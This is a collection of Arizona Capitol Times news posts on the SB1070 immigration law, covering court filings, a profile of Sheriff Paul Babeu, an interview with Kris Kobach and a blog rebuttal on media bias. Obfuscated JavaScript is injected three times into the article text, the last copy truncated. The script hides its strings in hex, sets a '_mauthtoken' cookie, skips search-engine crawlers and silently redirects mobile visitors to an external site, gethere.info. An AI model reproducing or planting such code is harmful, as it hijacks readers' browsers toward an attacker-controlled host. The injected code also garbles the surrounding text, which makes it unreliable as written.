While some critics rejoiced, supporters of S1070 also claimed victory, pointing out that what they see as the law’s “heart and soul” has been upheld: the provision that requires law enforcers to inquire about people’s legal status if there is a suspicion that they are not in the country legally.

To read more on this item plus all the stories in the June 25 Yellow Sheet Report, go to www.yellowsheetreport.com (Yellow Sheet Subscription Required).

To subscribe to the Yellow Sheet Report, where you’ll find the inside scoop on the Capitol, state government agencies and more, click here.

The post S1070 ruling: Everyone wins? first appeared on Arizona Capitol Times.

Lawyers for Gov. Jan Brewer are asking a federal judge to dismiss one of the five pending lawsuits challenging the state’s controversial law targeting illegal immigration.

A motion filed Monday asks U.S. District Judge Susan Bolton to dismiss a challenge filed by the League of United Latin American Citizens and other plaintiffs. The motion contends the lawsuit is based on “unsupported speculation” and a misreading of the law’s legal underpinnings. It also argues that the state has immunity under the 11th Amendment to the U.S. Constitution.

Bolton has already dismissed two of the seven lawsuits originally filed.

She has also barred implementation of key parts of the law pending a trial. That ruling is now being appealed.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

The post Motion targets another challenge to Arizona law first appeared on Arizona Capitol Times.

Pinal County Sheriff Paul Babeu has been on the job less than two years, but he’s already emerging as a leading border security hawk and a rising star in the Republican Party.

Arizona’s controversial crackdown on illegal immigration has created an insatiable appetite for pundits to banter over illegal immigration, and Babeu has helped fill the void. The shiny-headed, 41-year-old sheriff has appeared on cable news shows at least nine times since Gov. Jan Brewer signed the measure April 23.

Babeu’s an unlikely authority on illegal immigration — a “border sheriff” whose territory lies dozens of miles from the border; a lawman with a decades-old political career that began as an 18-year-old city councilman in New England.

But he’s carved a niche as a prolific critic of the federal government.

“Literally the president has shirked his responsibility,” he said. “I’m letting everybody who will care to listen know what is going on here.”

With a penchant for publicity and a dogged focus on combating illegal immigration, it’s easy to compare Babeu to Joe Arpaio, the Maricopa County sheriff known nationally for his tough immigration enforcement and locally for his battles with political rivals.

Babeu says he respects Arpaio but rejects suggestions that he’s the next “Sheriff Joe.” Their styles are very different, he says.

“Sheriff Paul” — as he’s known on his campaign materials — had just a few years of experience in law enforcement when he ousted an incumbent sheriff in 2008 and took over as chief of the 700-person department responsible for law enforcement and the county jail. Two decades earlier he was the youngest councilman ever elected in North Adams, Mass., and he went on to fail in two bids for mayor there.

So he followed his parents west and signed up to be a cop in suburban Chandler, outside Phoenix, and was later elected by his fellow officers to lead the police union.

The affable cop smiles easily and often, even when he’s just finished a biting attack on the federal government. He was the first Republican in memory to win countywide in Pinal, and he quickly raised the profile of his agency by joining the circuit of vocal Arizona border hawks.

Four months after taking office, in May 2009, Babeu teamed with immigration hard-liners including Arpaio and state Sen. Russell Pearce in a legislative hearing calling for local police to get more involved in immigration enforcement. The hearing was a precursor to Arizona’s immigration law that, a year later, would give Babeu a megaphone to build a national profile.

He grabbed the attention of conservatives when he asked last month for donations to buy new semiautomatic rifles. “My deputies are outgunned and we are outmanned” by Mexican drug cartels, he said.

Critics, including the chair of the county Board of Supervisors, wondered why he didn’t just ask the supervisors to buy the new weapons. Babeu said the crisis was so imminent he didn’t have time to deal with government procurement rules.

As sheriff, Babeu oversees 218 sworn police officers who patrol an area larger than Connecticut, much of it remote desert. It’s miles from the U.S.-Mexico border, above Pima and Santa Cruz counties, but still a key corridor for human and drug smugglers sneaking toward busy highways.

The situation on the ground hasn’t changed much in the last decade or so, said Sgt. Dave Hausman, interim president of the union representing Pinal sheriff’s deputies. Babeu’s just made immigration enforcement a higher priority.

“The sheriff certainly saw an opportunity to make a name for himself on this issue, and he is politically savvy enough to take advantage of that opportunity,” said state Rep. Kyrsten Sinema, a Phoenix Democrat, who said she appreciates that Babeu is always polite even though they bitterly disagree.

On one morning earlier this month, Babeu was visited by Romanian law enforcement officials who wanted to learn about battling organized crime. He showed them intelligence photos of men carrying rifles and bales of marijuana through the desert.

Ever the politician, Babeu gave his guests a defense of Arizona’s Senate Bill 1070, and a rebuke of President Barack Obama.

“At a time when we need help, our federal government has become our enemy and is taking us to court,” he said, referring for a Justice Department lawsuit challenging Arizona’s immigration law.

Then he added: “We can say that in America and I won’t disappear at night.”

Babeu’s rise hasn’t been without stumbles. He was forced to apologize for appearing on a radio show that endorses racist ideologies. He said his staff didn’t do enough research about the show.

Babeu owes much of his political standing to Arizona Sen. John McCain, who enlisted Babeu in April to help sell his 10-point border security plan. Babeu also starred in two key television ads touting McCain’s plan, including a much-lampooned spot in which McCain turns to Babeu and says “complete the danged fence.”

“He’s really on the front lines, and his knowledge and expertise I value enormously,” McCain said of the sheriff. “But also he’s become a national figure and spokesperson for border security, and I think he probably has a bright political future.”

Indeed, campaign finance reports show donations have flowed in to Babeu from around the country all summer. Babeu doesn’t face re-election until 2012.

In Babeu’s office, atop a stack of books on a crowded coffee table, sits a memoir by Sarah Palin. Behind his desk is a framed photo of the sheriff with McCain’s former vice presidential nominee.

It’s fitting company for a smooth-talking politician who, like Palin, suddenly skyrocketed to Republican celebrity with a little help from McCain.

The post Upstart sheriff rides immigration law to national fame first appeared on Arizona Capitol Times.

The U.S. Justice Department doesn’t want the author of Arizona’s new immigration law to be a party in the state’s appeal of a ruling that put parts of the law on hold.

The Justice Department tells the 9th U.S. Circuit Court of Appeals that state Sen. Russell Pearce shouldn’t be a party to the appeal because Gov. Jan Brewer’s attorneys are already defending the law.

Pearce’s attorneys say their client has a unique interest in making sure the law’s objectives are defended and is concerned the state doesn’t adequately represent his interests.

One key portion of the law that was blocked by a federal judge required police, while enforcing other laws, to question people’s immigration status if there is a suspicion they’re in the country illegally.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

The post Feds oppose Pearce’s bid to join appeal of new law first appeared on Arizona Capitol Times.

If the pen is mightier than the sword, then Kris Kobach has been cutting a wide swath around the nation.

From Fremont, Neb., to Hazelton, Pa., and Farmers Branch, Texas, to Valley Park, Mo., the Kansas law professor and Republican candidate for Kansas secretary of state has written local ordinances that forbid renting housing to illegal immigrants and hiring them.

Some of those laws are on appeal after being struck down.

But probably no law he authored has made a bigger splash than SB1070, Arizona’s controversial illegal immigration law.

Gov. Jan Brewer’s political stock soared after she signed the bill, protestors marched in Phoenix streets and held vigils at the state Capitol for weeks, activists and entertainers called for boycotts of the state, President Obama weighed in and the U.S. Department of Justice filed suit to forbid the law from taking effect.

As the nation awaited U.S. District Court Judge Susan Bolton’s decision on SB1070, Kobach, who has degrees from Harvard, Yale and Oxford University, was confident the law he wrote would stand and police would soon be enforcing it.

He wrote in the National Review Online: “The Obama administration’s suit against Arizona will be on thin ice from the start. There is no federal statute that the administration can point to that Arizona has violated. They will rely on activist theories of federal preemption that the ACLU has been peddling with little success for years.”

But Bolton sided with the feds and placed a temporary hold on key portions of the law.

Kobach’s interest in immigration law was spawned by the terrorist attacks of Sept. 11, 2001, and his subsequent work with the Bush administration, where he served as U.S. Attorney General John Ashcroft’s chief adviser on immigration law and border security.

Kobach said he is the architect for the National Security Entry-Exit Registration System, or NSEERS, which tracks who enters and leaves the country.

He has been on the faculty of the University of Missouri-Kansas City since 1996, and is on leave while he runs for office. This isn’t his first run for public office. He was an Overland Park, Kan., city councilman from 1999 to 2001, and he lost a bid for Congress in 2004.

Kobach’s professional time these days is split between running for office and defending the laws he wrote.

In an Aug. 18 interview with the Arizona Capitol Times, Kobach discussed his involvement with drafting SB1070 and his thoughts on Judge Bolton’s ruling. During the telephone interview, his young daughters laughed and chattered in the background as he drove to Nebraska to visit family and argue a case in court the next day. He was representing property owners who are challenging in-state tuition rates for illegal immigrants.

Tell us about how you became involved with drafting SB1070.

I’ve been working with the state of Arizona since 2006. After Arizona passed the human-smuggling act of 2005, it was challenged in Maricopa County Superior Court and the Maricopa County Attorney’s Office asked me for help in defending the case. I assisted the county in writing its briefs, and I’ve been working with the state of Arizona and Maricopa County ever since.

When Russell Pearce put together the Legal Arizona Workers Act of 2007, I assisted in the drafting of that bill, and then I also assisted in the defense of that bill. When he started putting together the SB1070 bill, again I was involved.  So it goes back to 2006.

Tell us the process you went through in drafting 1070. How much of it is yours and how much of it is Russell Pearce’s?

Russell Pearce is without question the driving force behind the bill. He is the person who made it happen. He is the legislator who came up with the direction of the bill. It is certainly his project primarily. It would have never happened without him.

Where my work is involved is primarily in the details. For example, there are many ways to increase the effectiveness of state and local law enforcement to enforce laws against illegal immigration, but there are only certain ways to do it that will pass constitutional muster. The specifics are where I was most involved; the exact phrasing of the specific provisions.

Are you working on any legislation right now with Russell Pearce or with anyone in Arizona?

No, not right now.

We’ve got a delegation of Colorado lawmakers here to learn about SB1070 and they expect to draft a similar bill there. Since Judge Bolton’s ruling, have you seen any rise or decline in the interest of other states to draft similar legislation?

Interestingly, since Judge Bolton’s ruling, there hasn’t been any reduction in the demand for SB1070-style legislation in other states at all. It seems to be as strong as ever. I think legislators in other states realize this will probably be decided in the 9th Circuit or the Supreme Court, not in Judge Bolton’s court.

Are you helping with any of that?

I have been contacted by legislators in a handful of states, and I have said that if they need my help when the next legislative session begins in 2011, I will help if I have time.

Can you explain to the layman out here the flaws with Judge Bolton’s ruling?

The primary problem with Judge Bolton’s ruling is that she expresses a view of preemption that is too broad. Preemption is the process by which Congress displaces states from a field and essentially prevents states from acting in an area.

Judge Bolton embraced a novel theory that the plaintiffs had been suggesting, which held that preemption can occur when the Executive Branch decides not to enforce a particular law. The Supreme Court has never held that that would amount to preemption. The Supreme Court has always held that it takes an express act of Congress to displace the states from the field. So if Judge Bolton’s theory of preemption were correct, then the Executive Branch would be usurping from Congress the power to preempt. It is a theory that is unprecedented, and I don’t think it will stand up on appeal.

Was she just wrong legally or do you consider her, as some people have suggested, an activist judge?

I just think that her decision was mistaken and the theory the Justice Department was offering was one that might look plausible at first glance, but it actually contradicts some very basic principles of preemption.

So what are your thoughts on the backlash toward Bolton? She’s received threats, harsh criticism. Have you followed that?

No, I have not followed it. It’s totally inappropriate for anyone to criticize a judge in a situation like this. She is obviously doing her best to wade through some very complex areas of law. Just because a judge makes a mistake, that does not justify any sort of harsh criticism, especially in an area like this where it is a particularly complex area of law.

Knowing what you know now about her ruling, would you have drafted the law any differently and does her ruling have any effect on how you’ll draft future legislation?

There is another mistake in Judge Bolton’s ruling beyond her misapplication of preemption doctrine and that is, she misinterpreted what the Legislature’s intent was concerning the inquiry into a person’s immigration status in Section 2 of the law.

She read SB1070 as requiring state and local police to verify the immigration status of every single person arrested, including every person pulled over for a traffic violation. That was not the intent of the bill, and the bill as written does not support the reading that she gave it. However, she misread the bill.

In that respect, knowing that she was going to misread it in that way we probably, if we had known ahead of time, we probably would have chosen phrasing to make double sure she didn’t have that misreading. Her reading doesn’t really square with the text.

You once said the law was built like a tank to withstand the appeals process. Did you believe it was going to roll through unscathed or were you surprised by Bolton’s ruling?

I was surprised by the way she misread the provisions governing inquiry into immigration status. I think most people reading the statute would not have read it the way she did and that was surprising.

However, other portions of the bill where we made it redundantly clear what the bill was intended to do have warded off attack. For example, you saw many critics of SB1070 claiming that it would promote racial profiling. Well, SB1070 actually prohibits racial profiling, not once, but four times, in four different sections. That is an example of redundant defenses built into the bill like a tank. I think it became very clear to the Justice Department attorneys that there was no way they could bring a racial profiling challenge to SB1070.

Are you going to be arguing for the state at the 9th Circuit?

I’m assisting the Governor’s Office in preparing the briefs for the 9th Circuit now. Not sure who’s going to be arguing the case.

How do you anticipate that is going to go? Can you give us a little glimpse into what we can expect?

I think you’ll see many of the same arguments that were made before Judge Bolton. A lot of it will depend on the panel that is assigned to the case, the panel of three judges.

Different judges will focus on different aspects of the law, but it’s pretty hard to predict ahead of time where oral arguments will focus or what questions will be asked. It’s pretty difficult to predict, but the basis for the law and the principles on which the law is founded will remain the same and many of the arguments will remain the same.

UpCloser with Kris Kobach

You’re a graduate of Harvard and graduate of Yale law school, so who do you root for in the football rivalry?

I root for Harvard is the short answer to the question. But when you’re talking about the Harvard-Yale game, most Americans wouldn’t recognize that game as the same level of college football that they’re used to seeing. It’s a little bit lower standard. I’m not expecting to see either team in the Rose Bowl anytime soon.

If you could be either one of the following for the rest of your career: a trial lawyer, a politician, or a law professor, which would it be?

For the rest of my career, huh? I don’t know. My career has been marked by so many changes and twists and turns it’s hard to imagine doing just one thing for the next 30 years. I suppose, right now, I’m in the middle of an election cycle and I’m focused on political office, so if you ask me now it would be political office, but if you ask me in 10 years it might be a different answer.

You’ve got a lot going on right now between your teaching, running for office and the cases, so do you have any spare time and what do you do with it?

Actually, FYI, I’m on a leave of absence from the faculty because of the election. I do have a little bit of spare time, not much. If it’s hunting season, I hunt. And if it’s summer, I spend time rowing. And I have three little kids, so I try to spend as much time as I can with my kids.

The post Architect of SB1070 insists immigration law will survive appeals first appeared on Arizona Capitol Times.

Blogs are great. Free of traditional journalism neutrality, or at least attempts for neutrality. More room for humor, gripes, knee-jerk reactions, and all the other ingredients that make writing more compelling to read than run-of-the-mill reporting.

A common, and entertaining thread, is the almost-daily discovery of ghosts that stand as proof of reporters’ complete inability to shed their biases – their liberal bias.

Exhibit A is a post this week on Greg Patterson’s Espresso Pundit, which, in all honesty, is king of conservative Capitol blogs.

Patterson grabbed recent voter registration figures that showed a dip in Democrat numbers to rip an Arizona Republic report from two months ago that he claimed stood as proof that the press corps has been begging God to make Republicans pay dearly for passing SB1070.

The article covered Democrats’ claims that SB1070 was driving, and would continue to drive, Latino voters to the Blue camp forever.

The article also included counter-claims by multiple sources, who said this was either premature or it was downright wishful thinking. Somehow, Patterson missed this. And so did the Arizona Republican Party, which issued a press release criticizing the article.

The comparative case study offered in the article was what happened in California after the passing of a sweeping anti-illegal immigration ballot proposition in the 90s. The proposition, as the Republic pointed out, has been credited (yes, this is true) for “solidifying California’s growing Latino population as Democratic and tipping the then-Republican state to a solidly Democratic one.” What shameful bias!

But wait, despite all the marching, candle-lighting, getting fired from Pei Wei, and photos of Adolf Hitler we saw in Arizona, “(SB1070 is) not going to have the same partisan effect,” said University of California-Irvine professor Louis DeSipio, the “expert on Latino politics and voting” quoted by the paper.

And it quoted ASU poly-sci professor, Rodolfo Espino. Judging by his name, he couldn’t possibly predict anything but a Latino mass exodus from the GOP, right? Wrong. Espino cautioned with the obvious: Arizona isn’t California. And we don’t have as many liberals, or labor-union troops corralling Latinos into the Democratic Party. The most definitive prediction Espino could come up with was “it could take years” to see if SB1070 will benefit Democrats.

This is a far cry from the quote overnight-sensation state Democratic Executive Director Luis Heredia gave the Republic. And if that wasn’t enough to impart readers with the feeling that the Democrat claims were questionable, the article also pointed out that ASU polling revealed that many Latinos weren’t exactly enamored with Democrats’ fight against SB1070.

The article even included a Latino Republican who said GOP pro-family, strong national defense and easing-up-on-the-public spending platforms meshed just fine with Latino values. “What doesn’t fit,” he said, “is this right-wing approach to immigration.”

That’s the heaviest statement in the article that could come anywhere close to promoting the notion that SB1070 has caused a permanent Latino-GOP divorce. How this can be construed as blatant media bias, I have no idea.

But, I’ll agree with Patterson on one issue: The article’s headline, “SB 1070 backlash spurs Hispanics to join Democrats,” is atrocious.

And I’ll say I’d like to see an article pursuing the possibility that SB1070 caused the spike in independent voters, or helped the Republicans gain 10,000 while the Democrats dropped by 500.

Still, I wonder if we read the same article.

– Christian Palmer

The post Are we on the same page? first appeared on Arizona Capitol Times.

Colorado Republicans will introduce an immigration enforcement measure nearly identical to a controversial law passed this year in Arizona, lawmakers said Wednesday after meeting with the legislators behind the effort here.

“We are prepared to take on this issue directly because we know the people of Colorado expect us to deal with the issue,” Kevin Lundberg, chairman of Colorado’s Republican Study Committee, said at a news conference in Phoenix.

The Colorado lawmakers said they would try to mirror Arizona’s law as precisely as possible. But they also want to take other actions, including cracking down on employers that hire illegal immigrants.

A federal judge last month delayed the most contentious provisions of Arizona’s law a day before it went into effect, including a section that would require officers to check a person’s immigration status while enforcing other laws if they have “reasonable suspicion” that the person is in the country illegally.

But the judge allowed other provisions, including a section that bars local governments from limiting enforcement of federal immigration laws. Those jurisdictions are commonly known as “sanctuary cities.”

Arizona state Sen. Russell Pearce, who sponsored the measure known as SB 1070, told his counterparts from Colorado that there’s not much lawmakers can do to avoid lawsuits when taking aggressive action against illegal immigrants.

“It was never the intent to avoid the lawsuit,” Pearce said. “They’ll sue you no matter what you do. We intend to win.”

Colorado Republicans would face an uphill battle in passing a law similar Arizona’s because they don’t have a majority in either chamber. But Sen. Dave Schultheis said the political climate is changing.

“We will not back down on this. This is going to happen,” he said.

Tennessee and Utah also sent delegations to Arizona this summer to get advice on copying the immigration law, and Pearce said he’s fielded calls from a number of lawmakers in other parts of the country.

Randy Parraz, a Democrat running for U.S. Senate who opposes Arizona’s law, said illegal immigration is a federal responsibility and Colorado lawmakers should be meeting with lawmakers in Washington.

“This is about politics. They don’t care about securing the border,” said Parraz, who attended the news conference. “This is about creating a wedge in our politics and about dividing people up.”

RELATED: Colorado GOP wants immigration law like Arizonaa��s”_blank”var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 